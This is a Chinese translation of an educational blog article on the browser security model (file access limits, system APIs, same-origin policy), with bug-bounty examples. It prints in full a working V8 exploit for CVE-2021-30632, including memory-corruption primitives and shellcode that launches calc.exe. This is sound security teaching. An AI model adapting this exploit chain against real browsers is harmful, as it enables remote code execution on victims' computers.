xss篇均转译自https://aszx87410.github.io/

浏览器安全模型

在探讨网页前端安全问题时,我们必须首先对网页前端的核心有基本认知。

网页前端最大的不同在于代码在浏览器上运行。浏览器负责渲染HTML、解析CSS以及执行页面上的JavaScript代码。

对于Web前端而言,其运行环境就是浏览器。
alt text

牢记这一点对于理解网页前端为何存在功能限制至关重要。并非我不想实现,而是浏览器不允许我这样做。例如,后端服务器能轻松执行文件读写操作,但在网页前端可能无法实现。为什么?因为浏览器不允许我们这样做。

为何我能看到他人实现关于____(填入任意内容)的功能,却找不到前端实现的方法?这很可能是因为浏览器不允许你这么做。

简而言之:如果浏览器不提供,你就无法获取。真的无法获取。

那么浏览器施加了哪些安全限制?它限制了什么?以下是一些示例。

禁止主动访问本地文件

对于后端而言,其代码直接在操作系统上运行,这意味着它本质上就是一个普通应用程序。若无特殊权限限制,它几乎可以为所欲为——整台机器都是它的游乐场。

但前端则面临诸多限制。例如它无法主动读写计算机文件。让我们谈谈可行的方案:可通过 <input type=file> 元素让用户选择文件,再借助FileReader接口读取文件内容,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
<input type="file" onchange="show(this)">

<script>
function show(input) {
const reader = new FileReader();
reader.onload = (event) => {
alert(event.target.result);
};
reader.readAsText(input.files[0]);

}
</script>

但你不能直接使用诸如读取文件之类的操作。若尝试这样做,控制台只会显示错误信息:fetch('file:///data/index.html')

不允许加载本地资源:file:///data/index.html

即使使用 window.open('file:///data/index.html') 也会导致相同错误。

浏览器设置限制存在绝对必要性。试想若前端网页能直接读取文件会怎样?我能直接读取你的 /etc/passwd 文件,读取你的SSH密钥,读取配置文件及各类包含敏感信息的文件。甚至能找到你电脑上加密加密货币钱包的备份助记词。这将引发重大安全隐患,如同遭受恶意软件入侵。

因此禁止JavaScript主动访问文件是完全合理的。否则仅需打开网页,所有文件内容便会暴露,引发严重安全隐患。

事实上此类事件早有先例。让我们回顾一则案例。

2021年,Renwa向Opera报告了漏洞:Bug Bounty Guest Post: Local File Read via Stored XSS in The Opera Browser,该漏洞利用浏览器缺陷实现文件读取。

Opera基于Chromium开发的浏览器,其”Opera Pinboards”功能允许用户创建笔记并分享。笔记页面的URL采用特殊协议opera:pinboards,通常享有特殊权限。

创建笔记时可添加链接,例如:https://blog.huli.tw。Renwa发现除常规链接外,使用 javascript:alert(1) 此类链接也能执行代码,从而在 opera:pinboards 下形成XSS漏洞。

如前所述,opera: 具有特殊权限,例如可打开 file:// 网页并截取网页截图以获取截图结果。因此,可利用前述 XSS 漏洞打开本地文件、截取截图并发送至攻击者服务器,实现窃取文件的目的。

该漏洞在报告后一天内被修复,报告者获得了 4000 美元的奖励。

禁止呼叫系统 API

常规应用程序可通过系统提供的API执行多种操作,例如修改系统设置或网络配置。然而JavaScript无法实现这些功能。

更准确地说,并非JavaScript本身不具备能力——它只是编程语言本身。根本原因在于”浏览器未向网页前端提供对应的API接口,因此无法实现”。

在网页前端执行JavaScript时,我们只能使用浏览器提供的功能。例如通过 fetch() 发送请求,或使用 setTimeout 设置定时器——这些都是浏览器提供的接口,允许我们执行特定操作。

若需调用系统API,必须浏览器同时提供对应接口。否则网页端的JavaScript无法访问这些功能。

例如浏览器提供的Web Bluetooth API用于与蓝牙设备通信,因此网页上的JavaScript可用于开发蓝牙相关应用;MediaDevices API则允许JavaScript访问麦克风、摄像头等设备数据,从而开发相关应用。

当浏览器提供这些API时,通常会同步实现权限管理机制。在允许网页访问特定资源前,系统会弹出通知提示用户主动同意并授予权限。

禁止存取其他网页的内容

这可视为浏览器最重要的安全假设之一。网页绝不应被允许访问其他网页的内容。此规则易于理解:若允许此类操作,攻击者便可通过访问 mail.google.com 直接读取 blog.huli.tw 的邮件内容,这显然存在安全隐患。

因此每个网页仅拥有自身权限:可修改自身HTML内容并执行所需JavaScript代码,但不得访问其他网页的数据。此机制即为同源策略(SOP)。

需要强调的是,此处”数据”不仅限于”页面内容”,更包含无法获取”其他页面的URL地址”这一限制。

例如,如果在 github.com 上执行以下代码:

1
2
3
4
var win = window.open('https://blog.huli.tw')
setTimeout(() => {
console.log(win.location.href)
}, 3000)

将显示以下错误信息:
alt text

该消息表明:

未捕获的 DOMException:阻止了源自 “https://github.com“ 的帧访问跨源帧。

这意味着您无法访问其他页面的内容,包括其网址。

尽管这看似基础且必要,但在浏览器中实现该功能并非易事。浏览器经历了无数次攻击,通过实施各种防御措施和架构调整,不断提升安全性以满足这些要求。

例如,2018年1月谷歌Project Zero披露了名为Meltdown和Spectre的重大漏洞,攻击者可通过CPU缺陷读取同一进程中的数据。

Chrome浏览器通过架构调整增强安全性来应对该漏洞,确保不同网页(无论通过何种方式加载,包括图片和iframe)均在独立进程中处理。这一系列安全措施被称为”站点隔离”,Chromium官网有更详细的说明,后续文章也将再次提及。

关于”无法访问其他页面的内容”这一限制,我们来看一个绕过该限制的示例。

2022年,joaxcar向Chromium报告了一个漏洞:Issue 1359122:安全漏洞:当位置更改为about:blank时,SOP绕过机制会泄露来自其他子域的iframe导航历史记录。该漏洞允许通过iframe读取跨域URL。

假设网页为 a.example.com,其中嵌入一个URL为 b.example.com 的iframe。通过使用 frames[0].location = 'about:blank' 将iframe重定向之后,该iframe便与 a.example.com 成为同源。此时通过访问 iframe 的导航历史记录: frames[0].navigation.entries() 就可以从里面拿到原本 b.example.com 的网址。

此现象不应发生。当iframe被重定向至其他URL时,导航历史记录应被清除。因此这属于漏洞。

此为绕过同源策略的示例。尽管仅允许读取URL,仍构成安全漏洞,该漏洞被发现后获得了2000美元奖励。

小结

本文的核心观点在于”若浏览器未提供,则无法获取”。这正是网页前端开发与其他执行环境的关键差异。反之,若能获取浏览器未提供的内容,则意味着发现了浏览器漏洞,可据此申请漏洞赏金。

那么最严重的浏览器漏洞是什么?正是允许攻击者绕过浏览器限制,执行违反浏览器安全假设的操作。

例如前文提到的SOP绕过漏洞,就能破坏同源策略并访问其他网页的数据。虽然前例仅演示了读取URL的能力,但更复杂的攻击甚至能获取内容本身。试想:当你打开我的博客文章 https://blog.huli.tw 阅读时,我的网站却在后台秘密执行JavaScript代码,利用SOP绕过漏洞读取你 https://mail.google.com 邮箱中的全部内容。

听起来很可怕,对吧?但更可怕的还在后头。

最严重的漏洞类型允许攻击者利用JavaScript在计算机上执行任意命令,这种漏洞被称为远程代码执行(RCE)。

再举个例子。假设你访问我的博客阅读文章后关闭页面,此时我已能向你的计算机发送指令——窃取所有数据或秘密植入恶意软件。历史上此类漏洞被利用的案例屡见不鲜,浏览器也时常暴露这类最严重的漏洞。作为普通用户,我们最好的应对方式是及时更新浏览器以最大限度降低风险。

2021年9月,研究人员发现编号为CVE-2021-30632的漏洞,正是前述RCE漏洞。攻击者只需诱使用户通过Chrome浏览器(v93之前版本)打开特定网页,便能直接入侵计算机执行任意指令。

你是否好奇此类攻击中JavaScript代码的典型形态?攻击者如何利用特定功能,最终通过浏览器执行任意代码?

以下是CVE-2021-30632漏洞的一个利用程序,来源:https://github.com/CrackerCat/CVE-2021-30632/blob/main/CVE-2021-30632.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">

function gc() {
for(var i = 0;i < ((1024*1024)); i++) {
new String();
}
}

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;

function foo(y) {
x = y;
}

function oobRead() {
//addrOf b[0] and addrOf writeArr::elements
return [x[20],x[24]];
}

function oobWrite(addr) {
x[24] = addr;
}

var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3); arr2.a = 1;
var x = arr0;

gc();gc();

var arr = new Array(30); arr.fill(4); arr.a = 1;
var b = new Array(1); b.fill(1);
var writeArr = [1.1];

for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;
foo(arr1);
}

x[0] = 1.1;

for (let i = 0; i < 20000; i++) {
oobRead();
}

for (let i = 0; i < 20000; i++) oobWrite(1.1);
foo(arr);

var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
b[0] = instance;
var addrs = oobRead();

function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}

function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}

function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}


dblArr[0] = addrs[0];
dblArr[1] = addrs[1];

function addrOf(obj) {
b[0] = obj;
let addrs = oobRead();
dblArr[0] = addrs[0];
return intView[1];
}

function arbRead(addr) {
[elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(addr,addr1));
return writeArr[0];
}

function arbRead1(addr) {
[addr1, elements] = ftoi32(addrs[1]);
oobWrite(i32tof(addr1, addr));
return writeArr[0];
}

function writeShellCode(rwxAddr, shellArr) {
var intArr = new Uint8Array(400);
var intArrAddr = addrOf(intArr);
var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
[elements, addr1] = ftoi32(addrs[1]);
oobWrite(i32tof(intArrAddr + 0x20, addr1));
writeArr[0] = rwxAddr;
for (let i = 0; i < shellArr.length; i++) {
intArr[i] = shellArr[i];
}
}

function writeShellCode1(rwxAddr, shellArr) {
var intArr = new Uint8Array(400);
var intArrAddr = addrOf(intArr);
var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));

[addr1, elements] = ftoi32(addrs[1]);
oobWrite(i32tof(addr1, intArrAddr + 0x20));
writeArr[0] = rwxAddr;
for (let i = 0; i < shellArr.length; i++) {
intArr[i] = shellArr[i];
}
}

var other_method = false;
var instanceAddr = addrOf(instance);
var elementsAddr = ftoi32(addrs[1])[0];

if((elementsAddr & 0xFFFF) == 0x222D) {
other_method = true;
elementsAddr = ftoi32(addrs[1])[1];
}

var shellCode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E,
0x65, 0x78, 0x65, 0x00];

var rwxAddr;
if(other_method == false) {
rwxAddr = arbRead(instanceAddr + 0x60);
writeShellCode(rwxAddr, shellCode);
}
else {
rwxAddr = arbRead1(instanceAddr + 0x60);
writeShellCode1(rwxAddr, shellCode);
}

main();

</script>
</body>
</html>

由于该漏洞存在于V8引擎内部,您会发现上述代码执行了许多看似难以理解的操作。这些操作通常旨在满足特定条件以触发V8引擎中的问题。不过详细解释已超出本文范围,感兴趣者可参考GitHub安全团队撰写的深度分析:Chrome在野漏洞分析:CVE-2021-30632

顺带一提,部分不熟悉JavaScript限制的工程师常试图用JavaScript实现根本不可能完成的任务。

当您理解浏览器的基本安全模型后,面对无法实现的任务时,便能自信地告知项目经理:”此功能无法在网页前端实现,因为浏览器不支持该操作”,而非四处寻找调用不存在API的方法。

从XSS开始前端安全